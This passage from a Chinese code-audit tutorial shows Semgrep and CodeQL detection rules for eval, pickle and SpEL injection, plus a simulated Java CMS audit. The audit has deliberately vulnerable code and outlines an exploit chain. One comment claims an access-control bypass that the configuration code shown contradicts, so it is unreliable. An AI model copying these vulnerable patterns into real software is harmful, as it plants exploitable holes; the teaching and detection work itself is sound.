\u533a\u5206&#034;\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f\u4e0a\u4e0b\u6587\u53d8\u91cf&#034;&#xff08;\u5b89\u5168&#xff09;\u4e0e&#034;\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f\u5185\u5bb9&#034;&#xff08;\u6f0f\u6d1e&#xff09;<br \/>\n&#8211; \u5b89\u5168\u5199\u6cd5&#xff1a;render_template_string(&#039;&lt;h1&gt;Hello {{ name }}&lt;\/h1&gt;&#039;, name&#061;name)<\/p>\n<p>\u5b89\u5168\u4fee\u590d&#xff1a;<\/p>\n<p>&#096;&#096;&#096;python<br \/>\n# \u65b9\u6848 1&#xff08;\u63a8\u8350&#xff09;&#xff1a;\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u4e0a\u4e0b\u6587\u53d8\u91cf\u4f20\u5165<br \/>\n&#064;app.route(&#039;\/greet&#039;)<br \/>\ndef greet():<br \/>\n\u00a0 \u00a0 name &#061; request.args.get(&#039;name&#039;, &#039;guest&#039;)<br \/>\n\u00a0 \u00a0 return render_template_string(&#039;&lt;h1&gt;Hello {{ name }}&lt;\/h1&gt;&#039;, name&#061;name)<\/p>\n<p># \u65b9\u6848 2&#xff1a;\u4f7f\u7528\u72ec\u7acb\u6a21\u677f\u6587\u4ef6&#xff08;\u63a8\u8350&#xff09;<br \/>\nreturn render_template(&#039;greet.html&#039;, name&#061;name)<\/p>\n<p># \u65b9\u6848 3&#xff1a;\u542f\u7528 Jinja2 \u6c99\u7bb1\u73af\u5883<br \/>\nfrom jinja2.sandbox import SandboxedEnvironment<br \/>\nenv &#061; SandboxedEnvironment()<br \/>\ntemplate &#061; env.from_string(user_input)<br \/>\nreturn template.render()<br \/>\n&#096;&#096;&#096;<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u516d\u3001\u4ee3\u7801\u5ba1\u8ba1\u81ea\u52a8\u5316<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>\u624b\u5de5\u5ba1\u8ba1\u6548\u7387\u6709\u9650&#xff0c;\u81ea\u52a8\u5316\u5de5\u5177\u80fd\u5927\u5e45\u63d0\u5347\u5ba1\u8ba1\u6548\u7387\u3002\u672c\u8282\u6f14\u793a\u5982\u4f55\u4f7f\u7528<br \/>\nSemgrep \u548c CodeQL \u7f16\u5199\u81ea\u5b9a\u4e49\u89c4\u5219\u8fdb\u884c\u81ea\u52a8\u5316\u6f0f\u6d1e\u6316\u6398\u3002<\/p>\n<h3>6.1 \u4f7f\u7528 Semgrep \u7f16\u5199\u81ea\u5b9a\u4e49\u89c4\u5219<\/h3>\n<p>Semgrep \u662f\u5f00\u6e90\u7684\u8f7b\u91cf\u7ea7\u4ee3\u7801\u626b\u63cf\u5de5\u5177&#xff0c;\u652f\u6301\u81ea\u5b9a\u4e49\u89c4\u5219&#xff0c;\u8bed\u6cd5\u7b80\u6d01&#xff0c;\u9002\u5408<br \/>\n\u5feb\u901f\u7f16\u5199\u9488\u5bf9\u7279\u5b9a\u6f0f\u6d1e\u6a21\u5f0f\u7684\u68c0\u6d4b\u89c4\u5219\u3002<\/p>\n<p>Semgrep \u89c4\u5219\u8bed\u6cd5\u793a\u4f8b&#xff08;\u68c0\u6d4b PHP eval \u6ce8\u5165&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;yaml<br \/>\n# eval_injection.yml<br \/>\nrules:<br \/>\n\u00a0 &#8211; id: php-eval-injection<br \/>\n\u00a0 \u00a0 patterns:<br \/>\n\u00a0 \u00a0 \u00a0 &#8211; pattern: eval($INPUT)<br \/>\n\u00a0 \u00a0 \u00a0 &#8211; pattern-not: eval(&#034;&#8230;&#034;)<br \/>\n\u00a0 \u00a0 message: \u68c0\u6d4b\u5230 eval() \u8c03\u7528&#xff0c;\u53ef\u80fd\u5b58\u5728\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e<br \/>\n\u00a0 \u00a0 languages: [php]<br \/>\n\u00a0 \u00a0 severity: ERROR<br \/>\n\u00a0 \u00a0 metadata:<br \/>\n\u00a0 \u00a0 \u00a0 cwe: &#034;CWE-94: Improper Control of Generation of Code&#034;<\/p>\n<p>\u00a0 &#8211; id: php-extract-var-overwrite<br \/>\n\u00a0 \u00a0 pattern: extract($_GET)<br \/>\n\u00a0 \u00a0 message: extract() \u76f4\u63a5\u5904\u7406 $_GET&#xff0c;\u53ef\u80fd\u5bfc\u81f4\u53d8\u91cf\u8986\u76d6<br \/>\n\u00a0 \u00a0 languages: [php]<br \/>\n\u00a0 \u00a0 severity: WARNING<\/p>\n<p>\u00a0 &#8211; id: python-pickle-deserialization<br \/>\n\u00a0 \u00a0 pattern: pickle.loads($DATA)<br \/>\n\u00a0 \u00a0 message: pickle.loads \u53cd\u5e8f\u5217\u5316\u53ef\u80fd\u5b58\u5728 RCE \u6f0f\u6d1e<br \/>\n\u00a0 \u00a0 languages: [python]<br \/>\n\u00a0 \u00a0 severity: ERROR<\/p>\n<p>\u00a0 &#8211; id: java-spel-injection<br \/>\n\u00a0 \u00a0 pattern-either:<br \/>\n\u00a0 \u00a0 \u00a0 &#8211; pattern: $PARSER.parseExpression($USER_INPUT)<br \/>\n\u00a0 \u00a0 \u00a0 &#8211; pattern: $PARSER.parseExpression($REQ.getParameter(&#8230;))<br \/>\n\u00a0 \u00a0 message: SpEL \u8868\u8fbe\u5f0f\u53ef\u80fd\u5b58\u5728\u6ce8\u5165\u6f0f\u6d1e<br \/>\n\u00a0 \u00a0 languages: [java]<br \/>\n\u00a0 \u00a0 severity: ERROR<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u8fd0\u884c Semgrep \u626b\u63cf&#xff1a;<\/p>\n<p>&#096;&#096;&#096;bash<br \/>\n# \u5b89\u88c5<br \/>\npip install semgrep<\/p>\n<p># \u4f7f\u7528\u81ea\u5b9a\u4e49\u89c4\u5219\u626b\u63cf\u9879\u76ee<br \/>\nsemgrep &#8211;config eval_injection.yml &#8211;json -o results.json .\/target_project<\/p>\n<p># \u4f7f\u7528\u793e\u533a\u89c4\u5219\u96c6<br \/>\nsemgrep &#8211;config p\/php &#8211;config p\/java .\/target_project<\/p>\n<p># \u4ec5\u8f93\u51fa ERROR \u7ea7\u522b<br \/>\nsemgrep &#8211;config eval_injection.yml &#8211;error .\/target_project<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>6.2 CodeQL \u67e5\u8be2\u793a\u4f8b<\/h3>\n<p>CodeQL \u662f GitHub \u5f00\u6e90\u7684\u8bed\u4e49\u5316\u4ee3\u7801\u5206\u6790\u5de5\u5177&#xff0c;\u901a\u8fc7\u5c06\u4ee3\u7801\u8f6c\u5316\u4e3a\u6570\u636e\u5e93&#xff0c;<br \/>\n\u4f7f\u7528\u7c7b SQL \u8bed\u6cd5&#xff08;QL \u8bed\u8a00&#xff09;\u67e5\u8be2\u6f0f\u6d1e\u6a21\u5f0f&#xff0c;\u6570\u636e\u6d41\u5206\u6790\u80fd\u529b\u5f3a\u3002<\/p>\n<p>CodeQL \u67e5\u8be2\u793a\u4f8b\u4e00&#xff08;Java SpEL \u6ce8\u5165\u6c61\u70b9\u8ffd\u8e2a&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;ql<br \/>\n\/**<br \/>\n\u00a0* &#064;name SpEL expression injection<br \/>\n\u00a0* &#064;kind path-problem<br \/>\n\u00a0* &#064;id java\/spel-injection<br \/>\n\u00a0*\/<br \/>\nimport java<br \/>\nimport semmle.code.java.dataflow.TaintTracking<br \/>\nimport semmle.code.java.frameworks.spring.SpEL<\/p>\n<p>class SpelConfig extends TaintTracking::Configuration {<br \/>\n\u00a0 \u00a0 SpelConfig() { this &#061; &#034;SpelConfig&#034; }<\/p>\n<p>\u00a0 \u00a0 override predicate isSource(DataFlow::Node source) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6e90&#xff1a;HTTP \u8bf7\u6c42\u53c2\u6570<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 source.asParameter().getCallable() instanceof SpringRequestMappingMethod<br \/>\n\u00a0 \u00a0 }<\/p>\n<p>\u00a0 \u00a0 override predicate isSink(DataFlow::Node sink) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6c47\u70b9&#xff1a;parseExpression \u8c03\u7528<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 exists(MethodAccess ma |<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 ma.getMethod().hasName(&#034;parseExpression&#034;) and<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sink.asExpr() &#061; ma.getArgument(0)<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 )<br \/>\n\u00a0 \u00a0 }<br \/>\n}<\/p>\n<p>from SpelConfig config, DataFlow::PathNode source, DataFlow::PathNode sink<br \/>\nwhere config.hasFlowPath(source, sink)<br \/>\nselect sink.getNode(), source, sink,<br \/>\n\u00a0 \u00a0 &#034;SpEL \u6ce8\u5165&#xff1a;\u7528\u6237\u8f93\u5165\u4ece $source \u6d41\u5411 $sink&#034;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>CodeQL \u67e5\u8be2\u793a\u4f8b\u4e8c&#xff08;Python pickle \u53cd\u5e8f\u5217\u5316&#xff09;&#xff1a;<\/p>\n<p>&#096;&#096;&#096;ql<br \/>\n\/**<br \/>\n\u00a0* &#064;name Unsafe pickle deserialization<br \/>\n\u00a0* &#064;kind path-problem<br \/>\n\u00a0* &#064;id python\/unsafe-pickle<br \/>\n\u00a0*\/<br \/>\nimport python<br \/>\nimport semmle.python.dataflow.new.TaintTracking<br \/>\nimport semmle.python.Concepts<\/p>\n<p>module PickleConfig implements DataFlow::ConfigSig {<br \/>\n\u00a0 \u00a0 predicate isSource(DataFlow::Node source) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6e90&#xff1a;HTTP \u8bf7\u6c42\u4f53<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 exists(Call call |<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getName() &#061; &#034;get_data&#034; and<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 source.asExpr() &#061; call<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 )<br \/>\n\u00a0 \u00a0 }<\/p>\n<p>\u00a0 \u00a0 predicate isSink(DataFlow::Node sink) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 exists(Call call |<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getName() in [&#034;loads&#034;, &#034;load&#034;] and<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 call.getFunc().(Attribute).getObject().(Name).getId() &#061; &#034;pickle&#034; and<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 sink.asExpr() &#061; call.getArg(0)<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 )<br \/>\n\u00a0 \u00a0 }<br \/>\n}<\/p>\n<p>module PickleFlow &#061; TaintTracking::Global&lt;PickleConfig&gt;;<\/p>\n<p>from PickleFlow::PathNode source, PickleFlow::PathNode sink<br \/>\nwhere PickleFlow::flowPath(source, sink)<br \/>\nselect sink.getNode(), source, sink,<br \/>\n\u00a0 \u00a0 &#034;pickle \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e&#xff1a;\u7528\u6237\u8f93\u5165\u6d41\u5411 pickle.loads&#034;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>CodeQL \u6570\u636e\u5e93\u6784\u5efa\u4e0e\u67e5\u8be2\u6d41\u7a0b&#xff1a;<\/p>\n<p>&#096;&#096;&#096;bash<br \/>\n# 1. \u521b\u5efa CodeQL \u6570\u636e\u5e93&#xff08;Java \u9879\u76ee&#xff09;<br \/>\ncodeql database create java-db &#8211;language&#061;java &#8211;command&#061;&#034;mvn clean install&#034;<\/p>\n<p># 2. \u521b\u5efa\u6570\u636e\u5e93&#xff08;Python \u9879\u76ee&#xff09;<br \/>\ncodeql database create py-db &#8211;language&#061;python &#8211;overwirte .\/target_project<\/p>\n<p># 3. \u8fd0\u884c\u81ea\u5b9a\u4e49\u67e5\u8be2<br \/>\ncodeql database analyze java-db spel-injection.ql &#8211;format&#061;sarif-latest -o results.sarif<\/p>\n<p># 4. \u67e5\u770b\u7ed3\u679c&#xff08;SARIF \u683c\u5f0f\u53ef\u5bfc\u5165 VS Code \/ GitHub Code Scanning&#xff09;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u63d0\u793a\u3011CodeQL \u7684\u6c61\u70b9\u8ffd\u8e2a&#xff08;TaintTracking&#xff09;\u80fd\u81ea\u52a8\u8de8\u51fd\u6570\u8ffd\u8e2a\u6570\u636e\u6d41&#xff0c;<br \/>\n\u662f\u6316\u6398\u590d\u6742\u6f0f\u6d1e\u94fe\u7684\u5229\u5668\u3002\u5efa\u8bae\u5148\u5b66\u4e60\u5b98\u65b9\u67e5\u8be2\u5e93&#xff08;codeql-repo&#xff09;\u7684\u5199\u6cd5\u3002<\/p>\n<h3>6.3 \u81ea\u52a8\u5316\u5ba1\u8ba1\u6d41\u6c34\u7ebf\u5efa\u8bae<\/h3>\n<p>&#096;&#096;&#096;<br \/>\n\u5f00\u53d1\u63d0\u4ea4\u4ee3\u7801 -&gt; Git Hook \u89e6\u53d1 Semgrep \u5feb\u901f\u626b\u63cf&#xff08;\u79d2\u7ea7&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -&gt; CI \u6d41\u6c34\u7ebf\u8fd0\u884c CodeQL \u6df1\u5ea6\u5206\u6790&#xff08;\u5206\u949f\u7ea7&#xff09;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -&gt; \u7ed3\u679c\u805a\u5408\u5230 SonarQube \u8d28\u91cf\u95e8\u7981<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 -&gt; \u9ad8\u5371\u6f0f\u6d1e\u963b\u65ad\u5408\u5e76&#xff0c;\u4e2d\u5371\u6f0f\u6d1e\u8bb0\u5f55\u8ddf\u8e2a<br \/>\n&#096;&#096;&#096;<\/p>\n<p>| \u9636\u6bb5 \u00a0 \u00a0 \u00a0 \u00a0 | \u5de5\u5177 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u9891\u7387 \u00a0 \u00a0 \u00a0 | \u9608\u503c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|<br \/>\n| \u672c\u5730\u5f00\u53d1 \u00a0 \u00a0 | Semgrep IDE \u00a0 \u00a0| \u5b9e\u65f6 \u00a0 \u00a0 \u00a0 | \u63d0\u793a \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| \u63d0\u4ea4\u524d \u00a0 \u00a0 \u00a0 | Semgrep CLI \u00a0 \u00a0| \u6bcf\u6b21 commit| ERROR \u963b\u65ad \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| CI \u6d41\u6c34\u7ebf \u00a0 \u00a0| CodeQL \u00a0 \u00a0 \u00a0 \u00a0 | \u6bcf\u6b21 PR \u00a0 \u00a0| \u9ad8\u5371\u963b\u65ad \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|<br \/>\n| \u5b9a\u671f\u5168\u91cf \u00a0 \u00a0 | Fortify\/Checkmarx | \u6bcf\u5468\/\u53d1\u5e03\u524d | \u751f\u6210\u5ba1\u8ba1\u62a5\u544a \u00a0 \u00a0 |<\/p>\n<h2>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n\u4e03\u3001\u5b9e\u6218\u6848\u4f8b&#xff1a;\u5b8c\u6574\u5ba1\u8ba1\u4e00\u4e2a CMS \u7cfb\u7edf<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/h2>\n<p>\u672c\u8282\u4ee5\u4e00\u4e2a\u6a21\u62df\u7684 Java CMS \u7cfb\u7edf\u4e3a\u4f8b&#xff0c;\u6f14\u793a\u4ece\u8def\u7531\u5206\u6790\u5230\u6f0f\u6d1e\u94fe\u6784\u9020\u7684\u5b8c\u6574<br \/>\n\u5ba1\u8ba1\u6d41\u7a0b\u3002<\/p>\n<h3>7.1 \u9879\u76ee\u7ed3\u6784\u5206\u6790<\/h3>\n<p>&#096;&#096;&#096;<br \/>\ncms-demo\/<br \/>\n\u251c\u2500\u2500 pom.xml \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u4f9d\u8d56\u7ba1\u7406&#xff08;\u5ba1\u8ba1\u7b2c\u4e00\u6b65&#xff1a;\u770b\u4f9d\u8d56\u7248\u672c&#xff09;<br \/>\n\u251c\u2500\u2500 src\/main\/java\/com\/cms\/<br \/>\n\u2502 \u00a0 \u251c\u2500\u2500 CmsApplication.java \u00a0 \u00a0# \u542f\u52a8\u7c7b<br \/>\n\u2502 \u00a0 \u251c\u2500\u2500 config\/<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 SecurityConfig.java# \u5b89\u5168\u914d\u7f6e&#xff08;\u5ba1\u8ba1\u91cd\u70b9&#xff1a;\u8ba4\u8bc1\u6388\u6743\u914d\u7f6e&#xff09;<br \/>\n\u2502 \u00a0 \u251c\u2500\u2500 controller\/<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 AdminController.java<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 ArticleController.java<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 TemplateController.java<br \/>\n\u2502 \u00a0 \u251c\u2500\u2500 service\/<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u251c\u2500\u2500 ArticleService.java<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 TemplateService.java<br \/>\n\u2502 \u00a0 \u251c\u2500\u2500 dao\/<br \/>\n\u2502 \u00a0 \u2502 \u00a0 \u2514\u2500\u2500 ArticleMapper.java<br \/>\n\u2502 \u00a0 \u2514\u2500\u2500 util\/<br \/>\n\u2502 \u00a0 \u00a0 \u00a0 \u251c\u2500\u2500 XmlUtil.java \u00a0 \u00a0 \u00a0 # \u5de5\u5177\u7c7b&#xff08;\u5ba1\u8ba1\u91cd\u70b9&#xff1a;\u901a\u7528\u5371\u9669\u64cd\u4f5c&#xff09;<br \/>\n\u2502 \u00a0 \u00a0 \u00a0 \u2514\u2500\u2500 SpelUtil.java<br \/>\n\u2514\u2500\u2500 src\/main\/resources\/<br \/>\n\u00a0 \u00a0 \u251c\u2500\u2500 application.yml<br \/>\n\u00a0 \u00a0 \u2514\u2500\u2500 mapper\/<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>7.2 \u7b2c\u4e00\u6b65&#xff1a;\u4f9d\u8d56\u7248\u672c\u5ba1\u8ba1&#xff08;pom.xml&#xff09;<\/h3>\n<p>&#096;&#096;&#096;xml<br \/>\n&lt;!&#8211; \u5ba1\u8ba1\u53d1\u73b0&#xff1a;\u5b58\u5728\u5df2\u77e5\u6f0f\u6d1e\u7684\u4f9d\u8d56 &#8211;&gt;<br \/>\n&lt;dependencies&gt;<br \/>\n\u00a0 \u00a0 &lt;!&#8211; Fastjson 1.2.47 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e &#8211;&gt;<br \/>\n\u00a0 \u00a0 &lt;dependency&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;groupId&gt;com.alibaba&lt;\/groupId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;artifactId&gt;fastjson&lt;\/artifactId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;version&gt;1.2.47&lt;\/version&gt;<br \/>\n\u00a0 \u00a0 &lt;\/dependency&gt;<br \/>\n\u00a0 \u00a0 &lt;!&#8211; Log4j 2.14.0 \u5b58\u5728 Log4Shell (CVE-2021-44228) &#8211;&gt;<br \/>\n\u00a0 \u00a0 &lt;dependency&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;groupId&gt;org.apache.logging.log4j&lt;\/groupId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;artifactId&gt;log4j-core&lt;\/artifactId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;version&gt;2.14.0&lt;\/version&gt;<br \/>\n\u00a0 \u00a0 &lt;\/dependency&gt;<br \/>\n\u00a0 \u00a0 &lt;!&#8211; Spring Boot 2.3.0 \u5b58\u5728\u591a\u4e2a CVE &#8211;&gt;<br \/>\n\u00a0 \u00a0 &lt;dependency&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;groupId&gt;org.springframework.boot&lt;\/groupId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;artifactId&gt;spring-boot-starter-web&lt;\/artifactId&gt;<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 &lt;version&gt;2.3.0.RELEASE&lt;\/version&gt;<br \/>\n\u00a0 \u00a0 &lt;\/dependency&gt;<br \/>\n&lt;\/dependencies&gt;<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u3010\u6ce8\u610f\u3011\u4f9d\u8d56\u5ba1\u8ba1\u662f\u4ee3\u7801\u5ba1\u8ba1\u7684\u7b2c\u4e00\u6b65&#xff0c;\u4f7f\u7528 OWASP Dependency-Check \u6216<br \/>\nSnyk \u626b\u63cf pom.xml \/ package.json&#xff0c;\u53ef\u5feb\u901f\u53d1\u73b0\u5df2\u77e5\u7ec4\u4ef6\u6f0f\u6d1e&#xff08;1-Day&#xff09;\u3002<\/p>\n<h3>7.3 \u7b2c\u4e8c\u6b65&#xff1a;\u8def\u7531\u4e0e\u5165\u53e3\u70b9\u5206\u6790<\/h3>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ AdminController.java \u2014\u2014 \u53d1\u73b0\u672a\u6388\u6743\u8bbf\u95ee &#043; SSTI \u7ec4\u5408\u6f0f\u6d1e<br \/>\n&#064;RestController<br \/>\n&#064;RequestMapping(&#034;\/admin&#034;)<br \/>\npublic class AdminController {<\/p>\n<p>\u00a0 \u00a0 &#064;Autowired<br \/>\n\u00a0 \u00a0 private TemplateService templateService;<\/p>\n<p>\u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u70b9 1\u3011\u7f3a\u5c11\u6743\u9650\u6ce8\u89e3&#xff0c;\u4efb\u610f\u7528\u6237\u53ef\u8bbf\u95ee<br \/>\n\u00a0 \u00a0 &#064;PostMapping(&#034;\/template\/preview&#034;)<br \/>\n\u00a0 \u00a0 public String previewTemplate(&#064;RequestBody Map&lt;String, String&gt; body) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 String content &#061; body.get(&#034;content&#034;);<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u70b9 2\u3011\u8c03\u7528 SpelUtil&#xff0c;\u7528\u6237\u8f93\u5165\u6d41\u5165 SpEL \u89e3\u6790<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return templateService.render(content);<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<h3>7.4 \u7b2c\u4e09\u6b65&#xff1a;\u81ea\u9876\u5411\u4e0b\u8ffd\u8e2a\u6570\u636e\u6d41<\/h3>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ TemplateService.java<br \/>\n&#064;Service<br \/>\npublic class TemplateService {<\/p>\n<p>\u00a0 \u00a0 public String render(String content) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u6570\u636e\u6d41&#xff1a;content -&gt; SpelUtil.eval<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return SpelUtil.eval(content);<br \/>\n\u00a0 \u00a0 }<br \/>\n}<\/p>\n<p>\/\/ SpelUtil.java \u2014\u2014 \u6700\u7ec8 Sink<br \/>\npublic class SpelUtil {<br \/>\n\u00a0 \u00a0 public static String eval(String expr) {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 SpelExpressionParser parser &#061; new SpelExpressionParser();<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u786e\u8ba4\u3011\u65e0\u5b89\u5168\u4e0a\u4e0b\u6587&#xff0c;\u76f4\u63a5\u89e3\u6790\u7528\u6237\u8868\u8fbe\u5f0f<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 return parser.parseExpression(expr).getValue().toString();<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6570\u636e\u6d41\u8ffd\u8e2a\u7ed3\u8bba&#xff1a;<br \/>\n&#8211; Source&#xff1a;previewTemplate \u7684 &#064;RequestBody content<br \/>\n&#8211; Sink&#xff1a;SpelExpressionParser.parseExpression<br \/>\n&#8211; \u51c0\u5316&#xff1a;\u65e0<br \/>\n&#8211; \u7ed3\u8bba&#xff1a;\u5b58\u5728 SpEL \u6ce8\u5165\u6f0f\u6d1e<\/p>\n<h3>7.5 \u7b2c\u56db\u6b65&#xff1a;\u6784\u9020\u6f0f\u6d1e\u94fe<\/h3>\n<p>\u5ba1\u8ba1\u53d1\u73b0&#xff0c;AdminController \u7684 \/admin\/template\/preview \u63a5\u53e3\u9700\u8981\u7ba1\u7406\u5458<br \/>\n\u6743\u9650\u3002\u4f46\u8fdb\u4e00\u6b65\u5206\u6790 SecurityConfig \u53d1\u73b0\u8ba4\u8bc1\u914d\u7f6e\u5b58\u5728\u7f3a\u9677&#xff1a;<\/p>\n<p>&#096;&#096;&#096;java<br \/>\n\/\/ SecurityConfig.java<br \/>\n&#064;Configuration<br \/>\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {<br \/>\n\u00a0 \u00a0 &#064;Override<br \/>\n\u00a0 \u00a0 protected void configure(HttpSecurity http) throws Exception {<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 http.authorizeRequests()<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .antMatchers(&#034;\/admin\/**&#034;).authenticated() \u00a0\/\/ \u9700\u8981\u767b\u5f55<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .antMatchers(&#034;\/**&#034;).permitAll()<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011Spring Security \u9ed8\u8ba4\u4f1a\u62e6\u622a \/admin\/**<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u4f46 antMatchers \u987a\u5e8f\u9519\u8bef&#xff0c;permitAll \u5728\u524d\u5bfc\u81f4 \/admin\/ \u88ab\u653e\u884c<br \/>\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 .and().formLogin().permitAll();<br \/>\n\u00a0 \u00a0 }<br \/>\n}<br \/>\n&#096;&#096;&#096;<\/p>\n<p>\u6f0f\u6d1e\u94fe\u6784\u9020&#xff1a;<\/p>\n<p>&#096;&#096;&#096;<br \/>\n\u6f0f\u6d1e 1&#xff08;\u6743\u9650\u7ed5\u8fc7&#xff09;&#xff1a;SecurityConfig \u4e2d antMatchers \u987a\u5e8f\u9519\u8bef&#xff0c;<br \/>\n\u00a0 \u00a0 \/** permitAll \u8986\u76d6\u4e86 \/admin\/** authenticated&#xff0c;<br \/>\n\u00a0 \u00a0 \u5bfc\u81f4 \/admin\/template\/preview \u53ef\u88ab\u672a\u8ba4\u8bc1\u7528\u6237\u8bbf\u95ee\u3002<\/p>\n<p>\u6f0f\u6d1e 2&#xff08;SpEL \u6ce8\u5165&#xff09;&#xff1a;previewTemplate \u63a5\u53e3\u5c06\u7528\u6237\u8f93\u5165\u89e3\u6790\u4e3a SpEL \u8868\u8fbe\u5f0f\u3002<\/p>\n<p>\u7ec4\u5408\u5229\u7528\u94fe&#xff1a;<br \/>\n\u00a0 \u00a0 \u672a\u6388\u6743\u8bbf\u95ee -&gt; SpEL \u6ce8\u5165 -&gt; \u4efb\u610f\u547d\u4ee4\u6267\u884c 